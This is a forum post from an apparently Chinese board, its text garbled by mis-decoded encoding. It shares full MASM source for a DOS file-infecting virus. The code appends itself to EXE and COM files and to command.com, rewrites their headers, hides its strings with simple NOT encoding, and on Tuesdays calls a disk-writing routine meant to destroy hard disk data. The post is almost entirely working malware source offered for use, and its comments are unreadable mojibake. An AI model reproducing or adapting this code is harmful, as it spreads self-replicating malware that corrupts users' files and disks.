| ²é¿´: 175 | »Ø¸´: 2 | |||
| µ±Ç°Ö÷ÌâÒѾ´æµµ¡£ | |||
º½¿Õĸ½¢½ð³æ (ÕýʽдÊÖ)
|
[½»Á÷]
[×ÊÔ´]Ò»¸ö¼òµ¥µÄÎļþÐͲ¡¶¾³ÌÐò
|
||
|
Ò»¸ö¼òµ¥µÄÎļþÐͲ¡¶¾³ÌÐò ; ************************************************ ; ¼òµ¥²¡¶¾³ÌÐò ; ; ×÷Õß : µ¾ÏãÀÏÅ© http://www.5xSoft.com ; ÀàÐÍ : ÎļþÐÍ ; ·¢×÷ʱ¼ä: ÐÇÆÚ¶þ ; ·¢×÷ÏÖÏó: Ó²ÅÌÊý¾Ý±»»µ ; ¸ÐȾ¶ÔÏó: DOS µÄ EXE COM Îļþ ; ±àÒ빤¾ß: MASM 6.0 , MASM 6.11 ; ; ************************************************ CODE SEGMENT assume cs:code .386 org 100h start: mov cs ldsp,sp ; ±£´æÔ³ÌÐòµÄ¶ÑÕ»Ö¸Õë mov cs ldss,ss ; mov sp,stack_end mov ax,cs ; ÉèÖÃеĶÑÕ»Ö¸Õë mov ss,ax ; push ds ;±£´æÔ ds es push es ; mov ds,ax mov es,ax sub ax,oldseg ; Ëã³öÔ³ÌÐòµÄÈë¿Ú push ax ; ²¢±£´æÈëÕ» push oldip ; call setfile ;³ÌÐòµÄºËÐIJ¿·Ö pop cs ldip ; È¡»ØÔ³ÌÐòµÄÈë¿Ú pop cs ldseg ; pop es ; »Ö¸´Ô es ds pop ds ; mov sp,cs ldss ; »Ö¸´Ô ss,sp mov ss,sp ; mov sp,cs ldsp ; push oldseg ;Ìø»ØÔ³ÌÐòÈë¿Úµã push oldip ; retf ; db 09ah getdate proc near ;Õâ¸öº¯ÊýÊÇÈ¡µÃʱ¼äÊÇ·ñÊÇÐÇÆÚ¶þÊÇÔòÆÆ»µÓ²ÅÌÊý¾Ý mov ax,0ec32h ; дҪִÐеĴúÂë int 13h not ax ; µ½ @dest1 λÖà mov si,@des1 ; ÕâÀï¼È¼ÓÃÜ´úÂë mov word ptr [si],ax ; mov ah,2ah int 21h cmp al,2 jnz @gd_con mov ax,312h mov cx,1 mov dx,80h @des1: db 0ebh db 32 ret @gd_con: ret getdate endp setfile1 proc near call findfirst @sf_con: jc @sf_back call modify call findnext jmp @sf_con @sf_back: ret setfile1 endp setdata proc near push si push di push cx push ax pushf mov si,offset normal1 mov di,si mov cx,23h @aaa2: lodsb not ax stosb loop @aaa2 popf pop ax pop cx pop di pop si ret setdata endp setfile proc near cmp ax,127h ; ûÓÐ×÷ÓÃÖ»ÊǸÉÄÓ jnz @aaa1 ; ax ²»¿ÉÄܵÈÓÚ 127h call dword ptr oldsp ; ret ; db 0e8h ; @aaa: call getdate ret @aaa1: mov ah,01ah ;ÉèÖôÅÅÌ´«Ê䵨ַ mov dx,offset dta ;ÓÃÓÚ findfirst int 21h ; call setdata ;Êý¾Ý½âÃÜ push @aaa mov dx,offset normal1 ; ÕÒ *.exe mov ax,offset dta add ax,01eh mov fs,ax ; fs ÓÃÓÚ´«µÝÎļþÃûµÄµØÖ· call setfile1 ; ´«È¾Îļþ mov dx,offset normal2 ; ÕÒ *.com call setfile1 mov dx,offset bootcmd ; ÕÒ c:\windows\command.com mov fs,dx call setfile1 mov dx,offset bootcmd1 ; ÕÒ c:\command.com mov si,dx ; mov word ptr [si],':C' ; mov fs,dx ; call setfile1 ; ret setfile endp db 09ah findfirst proc near mov ax,04e27h int 21h ret findfirst endp findnext proc near mov ah,04fh int 21h ret findnext endp modify proc near ;Ð޸IJ¢¸ÐȾ³ÌÐò mov si,offset sbuffer ;¿ÉÖ´ÐеÄÎļþÍ·µÄµØÖ· mov di,offset dta ;ÎļþÐÅÏ¢µÄµØÖ· cmp dword ptr [di+01ah],1000 ; ÈôÎļþСÓÚ 1K »ò ´óÓÚ 1M ²»¸ÐȾ jb @fn_ret ; cmp dword ptr [di+01ah],0ffcffh ; jae @fn_ret ; mov dx,fs mov ax,4300h ;±£´æÔÎļþÊôÐÔ int 21h ;ÔÙ¸ÄΪûÓÐÊôÐÔ push cx ; mov ax,4301h xor cx,cx int 21h mov ax,03d02h ; ´ò¿ªÎļþ int 21h ; jc @fn_ret3 ; mov bx,ax ; ¶ÁÎļþÍ· mov ah,03fh ; mov cx,1ch ; mov dx,offset sbuffer ; int 21h ; cmp word ptr [si],'ZM' ; Èç²»ÊÇ¿ÉÖ´ÐÐÎļþ¾Í²»¸ÐȾ jnz @fn_ret1 ; mov ax,word ptr [si+014h] ; ±£´æÔ³ÌÐòÈë¿Ú mov oldip,ax ; mov ax,word ptr [si+016h] ; mov oldseg,ax mov ax,4200h ; ¼ì²éÊÇ·ñÒѾ±»ÎÒ¸ÐȾ¹ý mov cx,word ptr [di+1ch] ; mov dx,word ptr [di+1ah] ; sub dx,2 ; int 21h ; mov ah,3fh ; mov cx,2 ; mov dx,offset temp ; int 21h cmp word ptr temp,0dcd6h ; ÈôÒѾ±»¸ÐȾ¾Í·µ»Ø jz @fn_ret1 ; mov eax,dword ptr [di+01ah] ; µÃµ½ÎļþµÄ×ܳ¤ mov cx,0fh and cx,ax ; Ëã³ö¸ÐȾºóµÄÈë¿Úµã mov fill,010h ; sub fill,cx ; movzx ecx,fill ; add eax,ecx ; sub eax,100h shr eax,4 mov cx,word ptr [si+8] sub ax,cx mov word ptr [si+14h],100h mov word ptr [si+16h],ax sub ax,oldseg mov oldseg,ax mov ax,4202h ;°Ñ±¾²¡¶¾Ð´ÖÁÎļþβ xor cx,cx ; xor dx,dx ; int 21h call setdata mov ah,40h mov cx,offset theend mov dx,offset start sub dx,fill sub cx,dx int 21h call setdata jc @fn_ret1 mov ax,4202h ; Ëã³ö¼ÓÔØ³ÌÐòµÄ³¤¶È xor cx,cx ; xor dx,dx ; int 21h mov cx,200h div cx inc ax mov word ptr [si+2],dx mov word ptr [si+4],ax mov ax,4200h ;¸ÄдÎļþÍ· xor cx,cx xor dx,dx int 21h mov ah,40h mov dx,si mov cx,1ch int 21h @fn_ret1: mov ah,03eh ;¹Ø±ÕÎļþ int 21h ; @fn_ret3: pop cx ;»Ö¸´ÔÎļþÊôÐÔ mov ax,4301h ; mov dx,gs int 21h @fn_ret: ret modify endp oldip word 0 oldseg word 0 ;======== Óà not »»Ëã¹ýµÄÊý¾Ý ======== normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh ; '*.EXE' normal2 db 0d5h,0d1h,09ch,090h,092h,0ffh ; '*.COM' bootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h ; 'C:\WINDO' bootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh ; 'WS\COMMAND.COM' db 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffh fl word 0dcd6h theend: oldsp word 0 oldss word 0 temp word 0 temp1 word 0 dta db 02bh dup(0) fill word 0 sbuffer db 1dh dup(0) stack_start db 40h dup(0) stack_end: code ends end start [ Last edited by »ÃÓ°ÎÞºÛ on 2006-10-5 at 13:50 ] |
» ²ÂÄãϲ»¶
Çóµ÷¼ÁÍÆ¼ö
ÒѾÓÐ7È˻ظ´
289 ·Ö105500ҩѧר˶Çóµ÷¼Á(ÕÒBÇøÑ§Ð£)
ÒѾÓÐ4È˻ظ´
0854Çóµ÷¼Á
ÒѾÓÐ13È˻ظ´
³õÊÔ324 ÖÐҩѧ Ò»Ö¾Ô¸ÌìÖÐÒ½ Çóµ÷¼Á
ÒѾÓÐ3È˻ظ´
ҩѧÇóµ÷¼Á
ÒѾÓÐ14È˻ظ´
327Çóµ÷¼Á
ÒѾÓÐ27È˻ظ´
¼±Ðèµ÷¼Á
ÒѾÓÐ5È˻ظ´
300Çóµ÷¼Á
ÒѾÓÐ7È˻ظ´
271Çóµ÷¼Á
ÒѾÓÐ33È˻ظ´
273Çóµ÷¼Á
ÒѾÓÐ8È˻ظ´
1
2Â¥2005-08-22 01:03:08
1
3Â¥2005-08-22 20:24:43













ldsp,sp ; ±£´æÔ³ÌÐòµÄ¶ÑÕ»Ö¸Õë
»Ø¸´´ËÂ¥
20